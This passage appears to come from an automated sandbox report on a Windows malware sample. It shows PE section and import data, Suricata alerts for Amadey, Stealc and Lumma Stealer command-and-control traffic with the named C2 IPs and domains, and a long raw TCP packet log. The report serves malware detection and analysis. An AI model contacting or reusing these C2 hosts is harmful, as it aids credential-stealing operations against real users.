rbflpxvq	0x4af000	0x1000	0x400	803e0b1581a67165e0643284ca83fc8c	False	0.765625	data	6.056773970755035	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b0000	0x3000	0x2200	bbc36a45094dafe639429642bc541aac	False	0.064453125	DOS executable (COM)	0.6660387283573721	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T03:23:06.470678+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49788	185.215.113.43	80	TCP
2024-10-07T03:23:09.457328+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49810	185.215.113.103	80	TCP
2024-10-07T03:23:12.788051+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49804	TCP
2024-10-07T03:23:13.485515+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49836	185.215.113.43	80	TCP
2024-10-07T03:23:14.334415+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49842	185.215.113.103	80	TCP
2024-10-07T03:23:14.334415+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49842	185.215.113.103	80	TCP
2024-10-07T03:23:16.011313+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49854	185.215.113.37	80	TCP
2024-10-07T03:23:17.841800+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49872	185.215.113.43	80	TCP
2024-10-07T03:23:18.561231+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49879	185.215.113.103	80	TCP
2024-10-07T03:23:21.564333+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	60282	1.1.1.1	53	UDP
2024-10-07T03:23:21.575022+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	65496	1.1.1.1	53	UDP
2024-10-07T03:23:21.589812+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	51433	1.1.1.1	53	UDP
2024-10-07T03:23:21.613978+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	62676	1.1.1.1	53	UDP
2024-10-07T03:23:21.626466+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	49186	1.1.1.1	53	UDP
2024-10-07T03:23:21.647743+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	53746	1.1.1.1	53	UDP
2024-10-07T03:23:21.662027+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	50272	1.1.1.1	53	UDP
2024-10-07T03:23:21.683050+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	55038	1.1.1.1	53	UDP
2024-10-07T03:23:23.082188+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	61038	185.215.113.43	80	TCP
2024-10-07T03:23:23.986667+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	61043	104.21.53.8	443	TCP
2024-10-07T03:23:23.986667+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	61043	104.21.53.8	443	TCP
2024-10-07T03:23:34.740482+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	61131	185.215.113.37	80	TCP
2024-10-07T03:23:43.117801+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	51649	1.1.1.1	53	UDP
2024-10-07T03:23:43.128999+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	56170	1.1.1.1	53	UDP
2024-10-07T03:23:43.140460+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	52889	1.1.1.1	53	UDP
2024-10-07T03:23:43.150741+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	56035	1.1.1.1	53	UDP
2024-10-07T03:23:43.161724+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	54310	1.1.1.1	53	UDP
2024-10-07T03:23:43.173115+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	63294	1.1.1.1	53	UDP
2024-10-07T03:23:43.183098+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	51058	1.1.1.1	53	UDP
2024-10-07T03:23:43.193494+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	58735	1.1.1.1	53	UDP
2024-10-07T03:23:59.307685+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	61184	185.215.113.37	80	TCP
2024-10-07T03:24:06.988623+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	62159	1.1.1.1	53	UDP
2024-10-07T03:24:06.999080+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	56028	1.1.1.1	53	UDP
2024-10-07T03:24:07.014039+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	63822	1.1.1.1	53	UDP
2024-10-07T03:24:07.025019+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	49932	1.1.1.1	53	UDP
2024-10-07T03:24:07.045887+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	50984	1.1.1.1	53	UDP
2024-10-07T03:24:07.057096+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	49352	1.1.1.1	53	UDP
2024-10-07T03:24:07.080294+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	63695	1.1.1.1	53	UDP
2024-10-07T03:24:07.091065+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	63468	1.1.1.1	53	UDP
2024-10-07T03:24:09.272966+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	61190	104.21.53.8	443	TCP
2024-10-07T03:24:09.272966+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	61190	104.21.53.8	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 03:22:05.345036983 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 7, 2024 03:22:18.177383900 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:18.177474022 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:18.178663969 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:18.179912090 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:18.179990053 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:18.862241030 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:18.862487078 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:18.869441032 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:18.869494915 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:18.869812012 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:18.923168898 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:19.678400993 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:19.686403990 CEST	49723	80	192.168.2.4	199.232.210.172
Oct 7, 2024 03:22:19.692049026 CEST	80	49723	199.232.210.172	192.168.2.4
Oct 7, 2024 03:22:19.692123890 CEST	49723	80	192.168.2.4	199.232.210.172
Oct 7, 2024 03:22:19.719455957 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899111032 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899152994 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899163008 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899295092 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:19.899303913 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899355888 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899408102 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899446964 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:19.899446964 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:19.899462938 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899486065 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:19.899491072 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899517059 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:19.899525881 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899544954 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:19.899571896 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:19.899579048 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899631023 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:19.899672031 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:20.546498060 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:20.546499014 CEST	49730	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:20.546566963 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:20.546622038 CEST	443	49730	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:56.370143890 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:56.370213985 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:56.370307922 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:56.370657921 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:56.370676994 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:56.980529070 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:56.980614901 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:56.980709076 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:56.981102943 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:56.981137991 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.033171892 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.033246040 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.038629055 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.038640976 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.039062977 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.050781012 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.095401049 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.150878906 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.150940895 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.150983095 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.151098013 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.151117086 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.151170969 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.237464905 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.237524986 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.239330053 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.239381075 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.239381075 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.239459038 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.239489079 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.239509106 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.239511013 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.239538908 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.239573002 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.239593983 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.325771093 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.325807095 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.325925112 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.325957060 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.326018095 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.326133013 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.326154947 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.326194048 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.326205969 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.326229095 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.326244116 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.326977968 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.326996088 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.327033043 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.327042103 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.327075005 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.328654051 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.328660965 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.328677893 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.328700066 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.328737974 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.328746080 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.328763962 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.328789949 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.414808035 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.414828062 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.414931059 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.414962053 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.415009022 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.415353060 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.415374041 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.415400982 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.415410995 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.415443897 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.415458918 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.416013002 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.416033983 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.416065931 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.416073084 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.416105986 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.416440964 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.416464090 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.416470051 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.416477919 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.416505098 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.416529894 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.416897058 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.416919947 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.416950941 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.416959047 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.416984081 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.417011023 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.417594910 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.417625904 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.417655945 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.417661905 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.417685986 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.417687893 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.417717934 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.417725086 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.417740107 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.417781115 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.417824030 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.451761961 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.455698967 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.455698967 CEST	49736	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.455733061 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.455750942 CEST	443	49736	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.652827978 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.652868032 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.652930975 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.654556036 CEST	49739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.654612064 CEST	443	49739	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.654681921 CEST	49739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.654949903 CEST	49740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.655041933 CEST	443	49740	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.655128002 CEST	49740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.655319929 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.655323029 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.655363083 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.655431986 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:57.655435085 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.656455040 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.656465054 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.656518936 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.656699896 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.656713009 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.656788111 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.656800032 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.656932116 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.656945944 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.656948090 CEST	49740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.657012939 CEST	49739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:57.657028913 CEST	443	49739	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.657028913 CEST	443	49740	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:57.660721064 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:57.660748005 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.661178112 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.677822113 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:57.719430923 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.907494068 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.907553911 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.907597065 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.907622099 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:57.907644987 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.907659054 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:57.907681942 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:57.908217907 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.908261061 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.908286095 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:57.908294916 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.908315897 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:57.908504009 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.908550024 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:57.913877964 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:57.913902044 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:57.913914919 CEST	49737	443	192.168.2.4	20.109.210.53
Oct 7, 2024 03:22:57.913923025 CEST	443	49737	20.109.210.53	192.168.2.4
Oct 7, 2024 03:22:58.292785883 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.293271065 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.293283939 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.293699980 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.293705940 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.297231913 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.297570944 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.297591925 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.298247099 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.298253059 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.302364111 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.302684069 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.302707911 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.303181887 CEST	49741	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.303195000 CEST	443	49741	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.315500021 CEST	443	49739	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.315793037 CEST	49739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.315820932 CEST	443	49739	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.316328049 CEST	49739	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.316337109 CEST	443	49739	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.326931953 CEST	443	49740	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.327218056 CEST	49740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.327295065 CEST	443	49740	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.327585936 CEST	49740	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.327604055 CEST	443	49740	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.391675949 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.391742945 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.391845942 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.392144918 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.392144918 CEST	49742	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.392162085 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.392172098 CEST	443	49742	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.395031929 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.395092010 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.395174026 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.395250082 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.395272970 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.395323038 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.395344019 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.395363092 CEST	49743	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.395381927 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.395405054 CEST	443	49743	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.395518064 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.395526886 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.395545006 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.395689964 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.395725965 CEST	443	49738	13.107.246.45	192.168.2.4
Oct 7, 2024 03:22:58.395762920 CEST	49738	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:22:58.397721052 CEST	49744	443	192.168.2.4	13.107.246.45
